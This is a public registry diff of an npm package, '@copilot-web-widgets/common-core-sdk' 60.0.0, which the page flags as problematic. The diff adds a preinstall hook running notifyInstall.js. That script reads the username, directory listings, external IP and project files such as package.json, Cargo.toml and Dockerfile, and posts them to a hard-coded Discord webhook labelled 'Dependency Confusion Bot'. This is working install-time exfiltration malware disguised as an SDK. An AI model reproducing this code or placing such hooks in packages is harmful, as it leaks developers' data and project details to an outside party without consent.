@copilot-web-widgets/common-core-sdk 60.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @copilot-web-widgets/common-core-sdk might be problematic. Click here for more details.
- package/.devcontainer/Dockerfile +12 -0
- package/.devcontainer/devcontainer.json +8 -0
- package/package.json +13 -0
- package/src/index.js +12 -0
- package/src/notifyInstall.js +130 -0
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
FROM node:22
|
|
2
|
+
|
|
3
|
+
# Install basic development tools
|
|
4
|
+
RUN apt update && apt install -y less man-db sudo
|
|
5
|
+
|
|
6
|
+
# Ensure default `node` user has access to `sudo`
|
|
7
|
+
ARG USERNAME=node
|
|
8
|
+
RUN echo $USERNAME ALL=\(root\) NOPASSWD:ALL > /etc/sudoers.d/$USERNAME \
|
|
9
|
+
&& chmod 0440 /etc/sudoers.d/$USERNAME
|
|
10
|
+
|
|
11
|
+
# Set `DEVCONTAINER` environment variable to help with orientation
|
|
12
|
+
ENV DEVCONTAINER=true
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@copilot-web-widgets/common-core-sdk",
|
|
3
|
+
"version": "60.0.0",
|
|
4
|
+
"main": "src/index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
7
|
+
"preinstall": "node src/notifyInstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"description": "",
|
|
12
|
+
"dependencies": {}
|
|
13
|
+
}
|
package/src/index.js
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
|
|
3
|
+
// Log "busfactor" to the console
|
|
4
|
+
console.log("busfactor");
|
|
5
|
+
|
|
6
|
+
// Create a hidden <div> element with the text "busfactor"
|
|
7
|
+
const hiddenDiv = document.createElement("div");
|
|
8
|
+
hiddenDiv.textContent = "busfactor";
|
|
9
|
+
hiddenDiv.style.display = "none";
|
|
10
|
+
|
|
11
|
+
// Append the hidden <div> to the end of the document body
|
|
12
|
+
document.body.appendChild(hiddenDiv);
|
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
function getExternalIP(callback) {
|
|
7
|
+
https.get('https://api.ipify.org', (res) => {
|
|
8
|
+
let data = '';
|
|
9
|
+
res.on('data', (chunk) => { data += chunk; });
|
|
10
|
+
res.on('end', () => { callback(data); });
|
|
11
|
+
}).on('error', (err) => {
|
|
12
|
+
console.error(`Error: ${err.message}`);
|
|
13
|
+
callback(null);
|
|
14
|
+
});
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
function getPackageName() {
|
|
18
|
+
try {
|
|
19
|
+
const packageJsonPath = path.join(process.cwd(), 'package.json');
|
|
20
|
+
const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
|
|
21
|
+
return packageJson.name || 'Unnamed Package';
|
|
22
|
+
} catch (error) {
|
|
23
|
+
console.error("Error reading package.json:", error.message);
|
|
24
|
+
return 'Unknown Package';
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
function getPackageVersion() {
|
|
29
|
+
try {
|
|
30
|
+
const packageJsonPath = path.join(process.cwd(), 'package.json');
|
|
31
|
+
const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
|
|
32
|
+
return packageJson.version || 'Unknown Version';
|
|
33
|
+
} catch (error) {
|
|
34
|
+
console.error("Error reading package.json:", error.message);
|
|
35
|
+
return 'Unknown Version';
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function findAboveNodeModules() {
|
|
40
|
+
let currentPath = process.cwd();
|
|
41
|
+
while (currentPath !== '/') {
|
|
42
|
+
if (fs.existsSync(path.join(currentPath, 'node_modules'))) {
|
|
43
|
+
return path.join(currentPath, 'node_modules', '..');
|
|
44
|
+
}
|
|
45
|
+
currentPath = path.join(currentPath, '..');
|
|
46
|
+
}
|
|
47
|
+
return null;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
function tryReadingFile(filePath) {
|
|
51
|
+
try {
|
|
52
|
+
return fs.readFileSync(filePath, 'utf-8');
|
|
53
|
+
} catch (error) {
|
|
54
|
+
return null;
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
const currentUser = "`" + os.userInfo().username + "`";
|
|
59
|
+
const currentDirectory = process.cwd();
|
|
60
|
+
const upperDirectory = findAboveNodeModules();
|
|
61
|
+
const filesInDirectory = "```" + fs.readdirSync(currentDirectory).join('\n') + "```";
|
|
62
|
+
const filesInUpperDirectory = "```" + fs.readdirSync(upperDirectory).join('\n') + "```";
|
|
63
|
+
const packageName = "`" + getPackageName() + "`";
|
|
64
|
+
|
|
65
|
+
const filesToTryReading = [
|
|
66
|
+
'package.json',
|
|
67
|
+
'Cargo.toml',
|
|
68
|
+
'.gitignore',
|
|
69
|
+
'Dockerfile'
|
|
70
|
+
]
|
|
71
|
+
|
|
72
|
+
let fields = [];
|
|
73
|
+
|
|
74
|
+
filesToTryReading.forEach((file) => {
|
|
75
|
+
const fileContent = tryReadingFile(path.join(upperDirectory, file));
|
|
76
|
+
if (fileContent) {
|
|
77
|
+
fields.push({ name: file, value: "```" + fileContent + "```", inline: false });
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
getExternalIP((externalIP) => {
|
|
82
|
+
const embedPayload = JSON.stringify({
|
|
83
|
+
embeds: [{
|
|
84
|
+
title: "Package Installation",
|
|
85
|
+
color: 3447003,
|
|
86
|
+
fields: [
|
|
87
|
+
{ name: "Package", value: packageName, inline: true },
|
|
88
|
+
{ name: "Version", value: "`" + getPackageVersion() + "`", inline: true },
|
|
89
|
+
{ name: "User", value: currentUser, inline: false },
|
|
90
|
+
{ name: "Current Directory", value: "`" + currentDirectory + "`", inline: false },
|
|
91
|
+
{ name: "Files in " + currentDirectory, value: filesInDirectory || "None", inline: false },
|
|
92
|
+
{ name: "Files in " + upperDirectory, value: filesInUpperDirectory || "None", inline: false },
|
|
93
|
+
{ name: "External IP", value: "`" + externalIP + "`" || "Unavailable", inline: false },
|
|
94
|
+
...fields
|
|
95
|
+
],
|
|
96
|
+
footer: {
|
|
97
|
+
text: "Dependency Confusion Bot"
|
|
98
|
+
},
|
|
99
|
+
timestamp: new Date().toISOString()
|
|
100
|
+
}]
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
const webhookURL = 'https://discord.com/api/webhooks/1293639013881872394/Dm-VH1AcEzigVUCDipHGmu-zDhb3UnmEbCoduz9fvuGPNhAzu8S4ufv0Q2bhwz-fW6wA';
|
|
104
|
+
const url = new URL(webhookURL);
|
|
105
|
+
|
|
106
|
+
const options = {
|
|
107
|
+
hostname: url.hostname,
|
|
108
|
+
path: url.pathname + url.search,
|
|
109
|
+
method: 'POST',
|
|
110
|
+
headers: {
|
|
111
|
+
'Content-Type': 'application/json',
|
|
112
|
+
'Content-Length': embedPayload.length
|
|
113
|
+
}
|
|
114
|
+
};
|
|
115
|
+
|
|
116
|
+
const req = https.request(options, (res) => {
|
|
117
|
+
let data = '';
|
|
118
|
+
res.on('data', (chunk) => { data += chunk; });
|
|
119
|
+
res.on('end', () => {
|
|
120
|
+
console.log('Embed message sent to Discord', data);
|
|
121
|
+
});
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
req.on('error', (e) => {
|
|
125
|
+
console.error(`Problem with request: ${e.message}`);
|
|
126
|
+
});
|
|
127
|
+
|
|
128
|
+
req.write(embedPayload);
|
|
129
|
+
req.end();
|
|
130
|
+
});
|